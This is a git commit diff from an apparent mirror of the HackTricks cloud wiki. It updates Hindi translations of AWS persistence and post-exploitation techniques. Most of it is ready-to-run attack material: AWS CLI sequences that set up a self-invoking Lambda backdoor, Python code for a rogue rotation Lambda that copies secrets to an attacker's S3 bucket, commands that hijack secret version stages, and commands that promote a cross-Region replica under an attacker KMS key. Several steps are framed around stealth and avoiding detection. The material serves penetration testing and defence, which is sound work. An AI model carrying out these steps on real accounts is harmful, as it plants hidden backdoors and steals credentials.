mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abuse Lambda asynchronous destinations को Recursion configuration के साथ मिलाकर एक function को बिना किसी external scheduler (no EventBridge, cron, etc.) के लगातार खुद को re-invoke करने के लिए मजबूर करें। By default, Lambda recursive loops को terminate कर देता है, लेकिन Recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations service side पर async invokes के लिए deliver करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor channel बना देता है। Optionally reserved concurrency के साथ throttle करके noise कम रखें।
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Notes
|
||||
- Lambda सीधे किसी function को उसका अपना destination सेट करने की अनुमति नहीं देता। destination के रूप में एक function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें।
|
||||
- Minimum permissions: target function के event invoke config और Recursion config को पढ़ने/अपडेट करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को अपडेट करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके।
|
||||
Lambda के asynchronous Destinations और Recursion configuration का दुरुपयोग करके किसी function को बिना किसी external scheduler (कोई EventBridge, cron, आदि नहीं) लगातार खुद को पुनः-invoke करने के लिए मजबूर किया जा सकता है। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations async invokes के लिए service-side पर deliver करते हैं, इसलिए एक single seed invoke एक stealthy, बिना code वाला heartbeat/backdoor channel बना देता है। शोर कम रखने के लिए optional रूप से reserved concurrency के साथ throttle करें।
|
||||
|
||||
## Requirements
|
||||
नोट्स
|
||||
- Lambda सीधे तौर पर function को उसका खुद का destination बनाने की अनुमति नहीं देता। destination के रूप में function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें।
|
||||
- Minimum permissions: target function के event invoke config और recursion config को read/update करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को update करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके।
|
||||
|
||||
## आवश्यकताएँ
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
## चरण
|
||||
|
||||
1) फ़ंक्शन ARN और वर्तमान Recursion सेटिंग प्राप्त करें
|
||||
1) function ARN और वर्तमान recursion setting प्राप्त करें
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) एक version प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है)
|
||||
2) एक संस्करण प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) function execution role को alias invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक)
|
||||
3) फ़ंक्शन निष्पादन भूमिका को alias को invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination को alias पर कॉन्फ़िगर करें (self via alias) और retries अक्षम करें
|
||||
4) async destination को alias (self via alias) पर कॉन्फ़िगर करें और retries को निष्क्रिय करें
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -58,27 +60,28 @@ aws lambda put-function-event-invoke-config \
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) पुनरावर्ती लूपों की अनुमति दें
|
||||
5) पुनरावर्ती लूप्स की अनुमति दें
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) एक एकल asynchronous invoke आरंभ करें
|
||||
6) एकल असिंक्रोनस invoke आरंभ करें
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) निरंतर invocations का निरीक्षण (उदाहरण)
|
||||
7) लगातार invocations का अवलोकन करें (उदाहरण)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) वैकल्पिक stealth थ्रॉटल
|
||||
8) वैकल्पिक स्टील्थ थ्रॉटल
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## साफ़-सफाई
|
||||
लूप को तोड़ें और persistence हटाएं।
|
||||
## सफाई
|
||||
|
||||
loop को तोड़ें और persistence हटाएँ।
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -88,5 +91,6 @@ aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGIO
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## प्रभाव
|
||||
- एकल async invoke बिना किसी external scheduler के Lambda को लगातार स्वयं को फिर से कॉल करने के लिए प्रेरित करता है, जिससे छिपा हुआ persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एकल warm execution तक सीमित कर सकता है।
|
||||
## Impact
|
||||
- Single async invoke Lambda को किसी बाहरी scheduler के बिना लगातार खुद को पुनः invoke करने का कारण बनता है, जिससे stealthy persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एक single warm execution तक सीमित कर सकता है।
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### Resource Policies के माध्यम से
|
||||
|
||||
Resource policies के माध्यम से बाहरी खातों को **secrets तक access प्रदान करना** संभव है। अधिक जानकारी के लिए [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) देखें। ध्यान दें कि किसी **secret तक access करने के लिए**, बाहरी खाते को उस secret को encrypt करने वाली **KMS key** तक भी **access की आवश्यकता** होगी।
|
||||
Resource policies के माध्यम से **grant access to secrets to external accounts** करना संभव है। अधिक जानकारी के लिए [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) देखें। ध्यान दें कि किसी **access a secret** के लिए, external account को उस secret को encrypt करने वाली **need access to the KMS key encrypting the secret** भी होना आवश्यक होगा।
|
||||
|
||||
### Secrets Rotate Lambda के माध्यम से
|
||||
|
||||
Secrets को स्वचालित रूप से **rotate** करने के लिए एक configured **Lambda** को कॉल किया जाता है। यदि attacker **change** कर सके तो वह सीधे नया **secret** स्वयं को **exfiltrate** कर सकता है।
|
||||
स्वचालित रूप से **rotate secrets** करने के लिए एक configured **Lambda** को कॉल किया जाता है। यदि कोई attacker **change** कर सके **code** को तो वह सीधे **exfiltrate the new secret** खुद को हासिल कर सकता है।
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
ऐसा lambda code कुछ इस प्रकार दिख सकता है:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,29 +48,27 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### RotateSecret के माध्यम से rotation Lambda को attacker-controlled function में बदलें
|
||||
|
||||
`secretsmanager:RotateSecret` का दुरुपयोग करके किसी secret को attacker-controlled rotation Lambda से rebind करें और तुरंत rotation ट्रिगर करें। मैलिशियस function rotation के चरणों (createSecret/setSecret/testSecret/finishSecret) के दौरान secret संस्करण (AWSCURRENT/AWSPENDING) को attacker sink (उदा., S3 या external HTTP) पर exfiltrate कर देता है।
|
||||
`secretsmanager:RotateSecret` का दुरुपयोग करके secret को attacker-controlled rotation Lambda से फिर से बाँधें और तुरंत rotation ट्रिगर करें। दुर्भावनापूर्ण फ़ंक्शन rotation steps (createSecret/setSecret/testSecret/finishSecret) के दौरान secret versions (AWSCURRENT/AWSPENDING) को attacker sink (उदा., S3 या external HTTP) पर exfiltrates कर लेता है।
|
||||
|
||||
- आवश्यकताएँ
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` attacker Lambda पर, `iam:CreateRole/PassRole/PutRolePolicy` (या AttachRolePolicy) ताकि Lambda execution role को provision कर सकें जिसमें `secretsmanager:GetSecretValue` और बेहतर होगा कि `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` हों (ताकि rotation काम करता रहे), secret KMS key के लिए KMS `kms:Decrypt`, और exfiltration के लिए `s3:PutObject` (या outbound egress)।
|
||||
- एक target secret id (`SecretId`) जिस पर rotation enabled हो या जिसे rotation सक्षम करने की क्षमता हो।
|
||||
|
||||
- प्रभाव
|
||||
- Attacker legit rotation code को बदले बिना secret value(s) प्राप्त कर लेता है। केवल rotation configuration को attacker Lambda की तरफ पॉइंट किया जाता है। अगर ध्यान न दिया जाए तो scheduled future rotations भी attacker के function को invoke करना जारी रखेंगे।
|
||||
- Attacker वैध rotation code को modify किए बिना secret value(s) प्राप्त कर लेता है। केवल rotation configuration को attacker Lambda की ओर बदल दिया जाता है। यदि यह नोटिस न किया गया तो निर्धारित भविष्य के rotations भी attacker के function को invoke करते रहेंगे।
|
||||
|
||||
- Attack steps (CLI)
|
||||
- हमले के चरण (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Exfiltration के लिए S3 bucket बनाएं और Lambda द्वारा trusted execution role बनाएं जिसमें secret पढ़ने और S3 में लिखने की permissions हों (साथ ही logs/KMS जैसी ज़रूरतें)।
|
||||
2) Deploy attacker Lambda जो हर rotation step पर secret value(s) fetch करके S3 में लिखे। न्यूनतम rotation logic बस AWSCURRENT को AWSPENDING में copy कर सकता है और finishSecret में उसे promote कर सकता है ताकि service स्वस्थ रहे।
|
||||
3) Rebind rotation and trigger
|
||||
- Exfiltration के लिए S3 bucket बनायें और एक execution role बनायें जिसे Lambda ट्रस्ट करे जिसमें secret पढ़ने और S3 में लिखने की permissions हों (साथ में logs/KMS जैसी जरूरतों के लिए अतिरिक्त permissions)।
|
||||
2) Deploy attacker Lambda जो हर rotation step पर secret value(s) fetch करके S3 पर लिखे। न्यूनतम rotation logic बस AWSCURRENT को AWSPENDING में कॉपी कर सकता है और finishSecret में promote कर सकता है ताकि सर्विस स्वस्थ बनी रहे।
|
||||
3) Rebind rotation और trigger करें
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) उस secret के लिए S3 prefix list करके और JSON artifacts inspect करके exfiltration verify करें।
|
||||
5) (Optional) detection कम करने के लिए original rotation Lambda को restore करें।
|
||||
4) उस secret के लिए S3 prefix को list करके और JSON artifacts का निरीक्षण करके exfiltration verify करें।
|
||||
5) (Optional) पहचान कम करने के लिए original rotation Lambda को restore करें।
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Example attacker Lambda (Python) जो S3 पर exfiltrate करता है
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
@@ -100,14 +98,14 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Secrets Manager के version staging labels का दुरुपयोग करके एक attacker-controlled secret version स्थापित करें और उसे एक custom stage (उदाहरण के लिए, `ATTACKER`) के तहत छुपा रखें, जबकि production मूल `AWSCURRENT` का उपयोग जारी रखे। किसी भी समय `AWSCURRENT` को attacker के version पर मूव करके dependent workloads को poison करें, फिर detection कम करने के लिए इसे restore करें। इससे secret name या rotation config बदले बिना stealthy backdoor persistence और rapid time-of-use manipulation संभव होता है।
|
||||
Secrets Manager के version staging labels का दुरुपयोग करके एक attacker-controlled secret version प्लांट करें और इसे एक custom stage (उदाहरण के लिए, `ATTACKER`) के तहत छिपा रखें, जबकि production मौजूदा `AWSCURRENT` का उपयोग जारी रखे। किसी भी समय `AWSCURRENT` को attacker के version पर मूव करके dependent workloads को poison करें, फिर detection कम करने के लिए इसे restore कर दें। यह secret name या rotation config बदले बिना stealthy backdoor persistence और तेज़ time-of-use manipulation की सुविधा देता है।
|
||||
|
||||
- आवश्यकताएँ
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- Target secret id in the Region.
|
||||
|
||||
- प्रभाव
|
||||
- एक छिपा हुआ, attacker-controlled version बनाए रखें और मांग पर `AWSCURRENT` को उस पर एटोमिक रूप से flip करें, जिससे कोई भी consumer जो समान secret name resolve करता है प्रभावित होगा। फ्लिप और त्वरित revert पता लगाने की संभावना कम करते हैं जबकि time-of-use compromise सक्षम होता है।
|
||||
- एक secret का छिपा हुआ, attacker-controlled version बनाए रखें और मांग पर atomically `AWSCURRENT` उसे flip करें, जिससे वही secret name resolve करने वाले किसी भी consumer पर प्रभाव पड़े। यह flip और त्वरित revert detection की संभावना घटा देते हैं जबकि time-of-use compromise संभव होता है।
|
||||
|
||||
- Attack steps (CLI)
|
||||
- तैयारी
|
||||
@@ -164,23 +162,23 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- नोट्स
|
||||
- जब आप `--client-request-token` प्रदान करते हैं, तो Secrets Manager इसे `VersionId` के रूप में उपयोग करता है। स्पष्ट रूप से `--version-stages` सेट किए बिना एक नया संस्करण जोड़ने से डिफ़ॉल्ट रूप से `AWSCURRENT` नए संस्करण पर चला जाता है, और पिछले संस्करण को `AWSPREVIOUS` के रूप में चिह्नित कर देता है।
|
||||
- जब आप `--client-request-token` प्रदान करते हैं, Secrets Manager इसे `VersionId` के रूप में उपयोग करता है। `--version-stages` को स्पष्ट रूप से सेट किए बिना एक नया संस्करण जोड़ने पर, डिफ़ॉल्ट रूप से `AWSCURRENT` नए संस्करण पर चला जाता है, और पिछले को `AWSPREVIOUS` के रूप में चिन्हित कर देता है।
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Secrets Manager की multi-Region replication का दुरुपयोग करके target secret की एक replica कम-निगरानी वाले Region में बनाएं, उस Region में attacker-controlled KMS key से उसे encrypt करें, फिर उस replica को standalone secret में promote करें और उस पर permissive resource policy attach कर दें जो attacker को read access दे। प्राथमिक Region में मूल secret अपरिवर्तित रहता है, जिससे promoted replica के माध्यम से secret value तक स्थायी और stealthy पहुंच मिल जाती है जबकि primary पर लगे KMS/policy सीमाओं को बायपास किया जा सकता है।
|
||||
Secrets Manager की multi-Region replication का दुरुपयोग करके target secret की एक replica कम-निगरानी वाले Region में बनाई जा सकती है, उस Region में attacker-controlled KMS key से इसे encrypt किया जा सकता है, फिर replica को standalone secret में promote किया जा सकता है और उस पर permissive resource policy लगाकर attacker को read access दिया जा सकता है। primary Region में मूल secret अपरिवर्तित रहता है, जिससे promoted replica के माध्यम से secret value तक एक स्थायी, stealthy पहुंच मिलती है जबकि primary पर KMS/policy प्रतिबंधों को बायपास किया जा सकता है।
|
||||
|
||||
- आवश्यकताएँ
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- अनुमतियाँ: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- replica Region में: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (या `kms:PutKeyPolicy`) ताकि attacker principal को `kms:Decrypt` की अनुमति दी जा सके।
|
||||
- एक attacker principal (user/role) जिसे promoted secret का read access दिया जा सके।
|
||||
- promoted secret का read access प्राप्त करने के लिए एक attacker principal (user/role)।
|
||||
|
||||
- प्रभाव
|
||||
- attacker-controlled KMS CMK और permissive resource policy के तहत standalone replica के माध्यम से secret value तक स्थायी cross-Region पहुँच। मूल Region में primary secret अप्रभावित रहता है।
|
||||
- attacker-controlled KMS CMK और permissive resource policy के अंतर्गत एक standalone replica के माध्यम से secret value तक persistent cross-Region access path। original Region में primary secret अपरिवर्तित रहता है।
|
||||
|
||||
- Attack (CLI)
|
||||
- Vars
|
||||
- हमला (CLI)
|
||||
- वेरिएबल्स
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
@@ -188,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) रिप्लिका Region में हमलावर-नियंत्रित KMS key बनाएँ
|
||||
1) हमलावर द्वारा नियंत्रित KMS key को replica Region में बनाएं
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -201,13 +199,13 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) attacker KMS key का उपयोग करके secret को R2 में replicate करें
|
||||
2) attacker KMS key का उपयोग करके secret को R2 में प्रतिलिपि बनाएँ
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) R2 में रिप्लिका को standalone के रूप में प्रमोट करें
|
||||
3) R2 में replica को standalone के रूप में प्रमोट करें
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
@@ -227,4 +225,4 @@ aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user